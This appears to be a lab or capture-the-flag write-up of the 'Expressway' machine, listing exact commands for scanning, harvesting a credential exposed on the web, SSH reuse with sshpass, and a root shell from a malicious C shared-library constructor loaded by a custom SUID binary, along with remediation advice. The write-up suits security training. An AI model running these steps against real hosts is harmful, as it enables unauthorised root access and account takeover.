Expressway
Summary
I scanned the target, found an Express (Node.js) web application alongside SSH, and recovered the plaintext password for the local system account 'ike' from a web-accessible path. Those credentials were reused over SSH to gain an interactive shell.
Once on the box, standard SUID enumeration revealed a custom binary at /usr/local/bin/sudo owned by root. I compiled a malicious C shared library whose constructor fires automatically at load time and executes as root, injecting it into the SUID binary's load path to obtain a root shell and both flags.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
nmap -sC -sV -oN expressway.nmap $TARGETnmap -p- --min-rate 5000 -T4 -oN expressway-allports.nmap $TARGETExact commands 3
gobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x txt,json,env,conf,js -o gobuster-expressway.txtcurl -s http://$TARGET/.envcurl -s http://$TARGET/configFixRemove credentials from the web application and rotate the affected accountCritical
Exact commands 2
for u in ike expressway; do echo "--- ssh $u ---"; timeout 8 sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no -o ConnectTimeout=5 "$u@$TARGET" 'id; hostname; pwd' 2>&1; donessh ike@$TARGETExact commands 4
cat ~/user.txtfind / -perm -4000 -type f 2>/dev/nullls -la /usr/local/bin/sudo && file /usr/local/bin/sudoldd /usr/local/bin/sudoExact commands 3
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no ike@$TARGET 'bash -s' <<'EOS'
set -e
rm -rf /tmp/sudowoot.* /tmp/rootbash /tmp/rootflag
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o woot1337.so woot1337.c
EOSreadelf -d /usr/local/bin/sudo | grep -E 'RPATH|RUNPATH'cat /root/root.txtFixRemove the custom SUID binary and enforce a minimal-SUID policyCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0) |
| 500/udp | isakmp? |